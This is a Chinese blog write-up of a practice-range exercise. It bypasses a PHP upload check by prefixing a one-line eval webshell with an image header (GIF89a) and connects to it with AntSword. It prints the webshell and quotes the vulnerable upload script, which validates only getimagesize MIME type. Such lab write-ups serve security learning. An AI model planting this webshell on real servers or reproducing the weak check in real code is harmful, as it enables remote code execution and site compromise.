zoukankan      html  css  js  c++  java
  • php一句话图片马上传绕过

    主页

      

    burpsuite截获,修改后缀为php,末尾加上一句话马(内容开头一定要是图片文件标志头),上传成功并返回路径

    <?php @eval($_POST['c']);?>

      

    其他测试:

    1、删掉部分图片内容时(图片文件头不对),无法上传 

      

    2、可以修改图片文件头为gif文件的标志头:GIF87a或者GIF89a,都可以成功上传

    3、冰蝎不支持,不知道为什么,是不是不支持图片马?

     前面的图片马可打开浏览,但无法连接jpg格式马

     使用蚁剑连接,密码就是c,测试连接成功

    找源代码文件

      

    顺便看看上传模块源码

    <?php
    //文件上传漏洞演示脚本之内容验证
    header("Content-type: text/html; charset=utf-8"); 
    error_reporting(0);
    $uploaddir = 'uploads/';
    if (isset($_POST['submit'])) {
        if (file_exists($uploaddir)) {
            //print_r($_FILES);
            $file_name = $_FILES['upfile']['tmp_name'];
            //print_r(getimagesize($file_name));
            $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp');
            $img_arr = getimagesize($file_name);
            //print_r($img_arr);
            $file_ext = $img_arr['mime'];
            if (in_array($file_ext, $allow_ext)) {
                if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
                    echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "
    ";
                }
            } else {
                echo '此文件不允许上传' . "
    ";
            }
        } else {
            exit($uploaddir . '文件夹不存在,请手工创建!');
        }
        //print_r($_FILES);
    }
    ?>

    从源码上分析看,如果上传文件的mime类型file_ext在allow_ext(

    'image/png', 'image/gif', 'image/jpeg', 'image/bmp'

    )中,就移动上传文件到/uploads/文件夹下

      

    参考:

    WebShell文件上传漏洞分析溯源(第3题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养 

    奶奶问孙子:4+1等于几 孙子说:等于6-1。 奶奶说:你明明知道答案,为什么不说? 孙子说:年轻人不讲5的……..
  • 相关阅读:
    Odoo search 搜索视图详解与搜索视图工作原理
    Odoo treeView列表视图详解
    Odoo视图的共有标签
    Odoo中的字段显示方式和行为控制
    Odoo中的env详解
    Odoo中报表PDF样式出错的解决办法
    odoo Botton标签属性详解
    Odoo甘特图
    Odoo field字段标签属性详解
    Odoo form视图详解
  • 原文地址:https://www.cnblogs.com/jasy/p/14944225.html
Copyright © 2011-2022 走看看